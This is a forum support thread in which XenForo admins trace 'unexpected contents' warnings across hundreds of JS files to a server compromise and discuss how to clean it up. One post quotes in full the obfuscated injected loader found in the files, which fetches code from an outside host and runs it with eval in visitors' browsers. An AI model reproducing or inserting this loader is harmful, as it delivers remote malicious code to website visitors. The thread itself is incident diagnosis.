XF 2.1 File health check problem, all JS files showing Unexpected contents

[Mian Shahid]

Hi, my ACP showing File health Check warning having Unexpected contents in almost all JS files, including XF core files and all addons JS files.

I am using XF 2.1.1, is this due to any major change in XF core or it belongs to my own?



Previous 8 are the updates XF released after 2.1.1, but on May 5, 2021 the number of files increased from 8 to 327 and all on them are JS files for example:



Any Idea other then Re-installing XF, because we have few template modification which will wipe off if we re install the script.

 

[Paul B]

Extract the files which have failed the check from the upgrade archive, and upload them again.

You will want to investigate how they came to be changed on the server.

 

[Mian Shahid]

Extract the files which have failed the check from the upgrade archive, and upload them again.

Any help, how to extract all JS files within appropriate folders?

 

[Mian Shahid]

You will want to investigate how they came to be changed on the server.

Their is no record logged in Admin log on 4th & 5th May other then my activities and only batch update of users was done on that period.

 

[Max Taxable]

Their is no record logged in Admin log on 4th & 5th May other then my activities and only batch update of users was done on that period.

That's the xF backend, he was talking server level. Like, if a haxor got into the file system not through the backend.

 

[Mian Shahid]

Will it be so funny if that is the cause of problem?



The only link is the Date on which I got this error

 

[Mr. Jinx]

That must be coincidence.
First I would check one of the modified files and compare it with the original one from the downloaded zip archive.
This can be easily done with some kind of (online) diff checker like https://text-compare.com/
If weird code is added, then your server is probably hacked.

 

[webbouk]

Ditto, the same or similar issue....

Compromised server?

Twice in the past week 287 js files within my forum and testforum (same server, different directories) have been reported as having 'Unexpected content', the latest event was today. Also the 'service_worker.js' and 'src/vendor/joypixels/emoji-toolkit/..' I've restored them from a backup. Is...

xenforo.com

XF2.2.5 & XF2.2.4

 

[Mian Shahid]

I have tested few different JS files some from XF and few from addons, and found the following code inserted at end of each JS file

;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//itdarasgah.com/ITDQuiz/admin/images/combine/combine.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

This meant, the problem is from server side, so I am going to change my all JS with original from XF, and will contact with server provider, it might be some sort of attack which may be not only effected my board but few other on same server too.

any further expert opinion? what to do, and what not? beside of changing all JS file, Thanks for all who commented to detect/solve my issue.

 

[Mian Shahid]

Kindly also advise, either we issue some sort of warning to our members regarding change of their password or not?

 

[Mian Shahid]

327 Infected file reduced to 5 now.

 

[Lukas W.]

Which add-ons are you guys running? Maybe it's a common vulnerability in one of them?

 

[Mian Shahid]

Which add-ons are you guys running? Maybe it's a common vulnerability in one of them?

No, that was an external system installed on our board, which, now removed completely and all JS files restored from Original , Thanks to @Brogan and @AndyB

 

[Taminoful]

Since you have the same problem as @webbouk I'll link my reply to his thread here too for visibility

Compromised server?

Twice in the past week 287 js files within my forum and testforum (same server, different directories) have been reported as having 'Unexpected content', the latest event was today. Also the 'service_worker.js' and 'src/vendor/joypixels/emoji-toolkit/..' I've restored them from a backup. Is...

xenforo.com